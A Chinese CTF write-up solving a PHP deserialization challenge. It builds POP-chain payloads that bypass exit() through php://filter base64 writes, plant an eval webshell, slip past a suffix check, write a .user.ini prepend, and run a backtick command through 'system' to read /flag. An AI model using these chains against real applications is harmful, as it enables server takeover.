error_reporting(0);
class A{
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null)
{
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage()
{
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save()
{
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
}
class B{
protected function getExpireTime($expire): int
{
return (int) $expire;
}
public function getCacheKey(string $name): string
{
return $this->options['prefix'] . $name;
}
protected function serialize($data): string
{
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool
{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = " . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
题目分析:
大致看了一下代码,只有类A有__destruct,所以我们序号序列化类A,在__destruct中掉用了$this->save()
,在save中调用了$this->store->set
,我们只有在序列化类A时设定$this->store为类B,才能引出类B,而且类B中恰好有set
方法~~
我们要找得利用点在类B中的file_put_contents
函数,所以我们需要分析一下$filename
和$data
两个参数
$filename
80行调用B::getCacheKey($name)
,在B::getCacheKey($name)
中拼接字符串$this->options['prefix'].$name
构成filename
。
$data
99行拼接前半部分,通过上面的方法bypass。
94行的分支可以不进入,92行调用B::serialize($value)
,$value
是B::set($name, $value, $expire = null)
的参数。
B::serialize($value)
调用B::options['serialize']()
处理了$value
。
再看$value
$value
实际是A::getForStorage()
的返回值。A::getForStorage()返回json_encode([A::cleanContents(A::cache), A::complete])
。
A::cleanContents(A::cache)实现了一个过滤的功能,A::complete
更容易控制,直接写为shellcode
。
由于$value
是一个json
字符串,然后,json
字符串的字符均不是base64
合法字符,通过base64_decode
可以直接从json
中提取出shellcode
。
所以将shellcode
经过base64
编码,B::options['serialize']
赋值为base64_decode
payload:
class A{
protected $store;
protected $key;
protected $expire;
public $cache = [];
public function __construct (){
$this->store = new B();
$this->key = ".php";
$this-> expire = 0;
$this->cache = array();
$this->autosave = false;
$this->complete = base64_encode("qaq" . base64_encode(''));
}
}
class B{
public $options = [
'serialize' => "base64_decode",
'data_compress' => false,
'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/.jingzhe"
];
}
echo urlencode(serialize(new A()));
$filename
在B::getCacheKey($name)
中,将$this->options['prefix']
和$name拼接得到
构造B::options
和A::key
使$filename
为php://filter/write=convert.base64-decode/resource=uploads/shell.php
$data
由$value=A::getForStorage()
和B::serialize($value)
得到
构造A的cache为数组['path'=>'a','dirname'=>base64_encode('')];
就可以使得$value=A::getForStorage()
的值为[{"path":"a","dirname":"PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"},true]
然后再构造B的serialize
值为serialize
就可以使得B::serialize($value)
的值为s:64:"[{"path":"a","dirname":"PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"},true]";
这样在最后$data被base64解码的时候只有php//000000000000exits64pathadirname和PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4gtrue
,然后前36位字符被编码成功绕过exit
payload:
class A{
protected $store;
protected $key;
protected $expire;
public $cache = [];
public $complete = true;
public function __construct () {
$this->store = new B();
$this->key = 'shell.php';
$this->cache = ['path'=>'a','dirname'=>base64_encode('')];
}
}
class B{
public $options = [
'serialize' => 'serialize',
'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',
];
}
echo urlencode(serialize(new A()));
题目大部分和这道题目相同,只是在一个地方加了后缀限制和使用了随机id~~
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}
使用/.
绕过后缀限制~~
class A{
protected $store;
protected $key;
protected $expire;
public $cache = [];
public $complete = true;
public function __construct () {
$this->store = new B();
$this->key = '/../shell.php/.';
$this->cache = ['path'=>'a','dirname'=>base64_encode('')];
}
}
class B{
public $options = [
'serialize' => 'serialize',
'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',
];
}
echo urlencode(serialize(new A()));
先上传一个shell.pHp
然后再上传一个.user.ini
shell.pHp
class A{
protected $store;
protected $key;
protected $expire;
public $cache = [];
public $complete = true;
public function __construct () {
$this->store = new B();
$this->key = '/../../shell.pHp';
$this->cache = ['path'=>'a','dirname'=>base64_encode('')];
}
}
class B{
public $options = [
'serialize' => 'serialize',
'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',
];
}
echo urlencode(serialize(new A()));
.user.ini
class A{
protected $store;
protected $key;
protected $expire;
public $cache = [];
public $complete = true;
public function __construct () {
$this->store = new B();
$this->key = '/../../.user.ini';
$this->cache = ['path'=>'a','dirname'=>base64_encode('1'."\n".'auto_prepend_file=shell.pHp'."\n\n\n\n")];
}
}
class B{
public $options = [
'serialize' => 'serialize',
'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',
];
}
echo urlencode(serialize(new A()));
这儿由于base64编码,导致.user.ini里面的内容被打乱了,所以我们需要使用原生的换行符~~(使用双引号,而不是单引号
)
base64_encode('1'."\n".'auto_prepend_file=shell.pHp'."\n\n\n\n")
关键在 serialize 和 cache 里的命令那,
到源码中的
$data = $this->serialize($value);
此处即可调用任意函数并且传参,即便参数在上面
return json_encode([$cleaned, $this->complete]);
被 json
编码了,但我们仍然可以在其中插入一段完整的内容,所以插入一段用反引号括起来的命令,由于整段东西传入 system
函数之后是调用 shell 来执行,执行顺序有先后,反引号内的会被先执行,即可达到我们执行命令的目的。
class A{
protected $store;
protected $key;
protected $expire;
public $cache = [];
public $complete = true;
public function __construct () {
$this->store = new B();
$this->key = '/../../shell.pHp';
$this->cache = ['path'=>'a','dirname'=>'`cat /flag > ./uploads/flag.php`'];
}
}
class B{
public $options = [
'serialize' => 'system',
'prefix' => 'sssss',
];
}
echo urlencode(serialize(new A()));
'dirname'=>'`cat /flag > ./uploads/flag.php`'
直接把flag写在uploads里面的flag.php,然后再访问一下就行了~~
惊蛰师傅
安恒
赵师傅
.user.ini